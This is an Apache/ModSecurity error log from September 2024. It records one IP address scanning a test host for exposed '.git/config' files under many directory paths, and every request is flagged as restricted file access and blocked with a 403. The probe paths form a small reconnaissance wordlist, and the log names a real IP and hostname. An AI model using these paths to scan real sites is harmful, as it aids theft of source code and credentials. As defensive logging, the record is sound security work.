[Wed Sep 04 15:26:28.546935 2024] [:error] [pid 1669081] [client 45.135.232.70:53176] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-IgAAAAY&quot;]
[Wed Sep 04 15:26:28.547080 2024] [:error] [pid 1668038] [client 45.135.232.70:53278] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruAAAAAE&quot;]
[Wed Sep 04 15:26:28.547311 2024] [:error] [pid 1668038] [client 45.135.232.70:53278] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruAAAAAE&quot;]
[Wed Sep 04 15:26:28.547508 2024] [:error] [pid 1669081] [client 45.135.232.70:53176] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-IgAAAAY&quot;]
[Wed Sep 04 15:26:28.547911 2024] [:error] [pid 1669081] [client 45.135.232.70:53176] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-IgAAAAY&quot;]
[Wed Sep 04 15:26:28.549218 2024] [:error] [pid 1668039] [client 45.135.232.70:53248] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6YwAAAAI&quot;]
[Wed Sep 04 15:26:28.549477 2024] [:error] [pid 1668039] [client 45.135.232.70:53248] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6YwAAAAI&quot;]
[Wed Sep 04 15:26:28.549681 2024] [:error] [pid 1668039] [client 45.135.232.70:53248] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6YwAAAAI&quot;]
[Wed Sep 04 15:26:28.611968 2024] [:error] [pid 1668041] [client 45.135.232.70:53342] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSAAAAAQ&quot;]
[Wed Sep 04 15:26:28.612468 2024] [:error] [pid 1668041] [client 45.135.232.70:53342] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSAAAAAQ&quot;]
[Wed Sep 04 15:26:28.612925 2024] [:error] [pid 1668041] [client 45.135.232.70:53342] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSAAAAAQ&quot;]
[Wed Sep 04 15:26:28.615734 2024] [:error] [pid 1668042] [client 45.135.232.70:53288] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzywAAAAU&quot;]
[Wed Sep 04 15:26:28.616325 2024] [:error] [pid 1668042] [client 45.135.232.70:53288] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzywAAAAU&quot;]
[Wed Sep 04 15:26:28.616812 2024] [:error] [pid 1668042] [client 45.135.232.70:53288] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzywAAAAU&quot;]
[Wed Sep 04 15:26:28.631376 2024] [:error] [pid 1668037] [client 45.135.232.70:53332] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypAAAAAA&quot;]
[Wed Sep 04 15:26:28.631897 2024] [:error] [pid 1668037] [client 45.135.232.70:53332] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypAAAAAA&quot;]
[Wed Sep 04 15:26:28.632303 2024] [:error] [pid 1668037] [client 45.135.232.70:53332] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypAAAAAA&quot;]
[Wed Sep 04 15:26:28.636849 2024] [:error] [pid 1669687] [client 45.135.232.70:53304] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDQAAAAc&quot;]
[Wed Sep 04 15:26:28.637317 2024] [:error] [pid 1669687] [client 45.135.232.70:53304] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDQAAAAc&quot;]
[Wed Sep 04 15:26:28.637653 2024] [:error] [pid 1669687] [client 45.135.232.70:53304] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDQAAAAc&quot;]
[Wed Sep 04 15:26:28.643027 2024] [:error] [pid 1668040] [client 45.135.232.70:53206] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMAAAAAM&quot;]
[Wed Sep 04 15:26:28.643618 2024] [:error] [pid 1668040] [client 45.135.232.70:53206] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMAAAAAM&quot;]
[Wed Sep 04 15:26:28.644037 2024] [:error] [pid 1668040] [client 45.135.232.70:53206] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMAAAAAM&quot;]
[Wed Sep 04 15:26:28.657271 2024] [:error] [pid 1668038] [client 45.135.232.70:53228] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /flock/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruQAAAAE&quot;]
[Wed Sep 04 15:26:28.657726 2024] [:error] [pid 1668038] [client 45.135.232.70:53228] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruQAAAAE&quot;]
[Wed Sep 04 15:26:28.658103 2024] [:error] [pid 1668038] [client 45.135.232.70:53228] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flock/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruQAAAAE&quot;]
[Wed Sep 04 15:26:28.660179 2024] [:error] [pid 1668039] [client 45.135.232.70:53260] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZAAAAAI&quot;]
[Wed Sep 04 15:26:28.660334 2024] [:error] [pid 1669081] [client 45.135.232.70:53236] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-IwAAAAY&quot;]
[Wed Sep 04 15:26:28.660581 2024] [:error] [pid 1668039] [client 45.135.232.70:53260] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZAAAAAI&quot;]
[Wed Sep 04 15:26:28.660800 2024] [:error] [pid 1669081] [client 45.135.232.70:53236] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-IwAAAAY&quot;]
[Wed Sep 04 15:26:28.661019 2024] [:error] [pid 1668039] [client 45.135.232.70:53260] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZAAAAAI&quot;]
[Wed Sep 04 15:26:28.661183 2024] [:error] [pid 1669081] [client 45.135.232.70:53236] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-IwAAAAY&quot;]
[Wed Sep 04 15:26:28.721612 2024] [:error] [pid 1668042] [client 45.135.232.70:53314] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzAAAAAU&quot;]
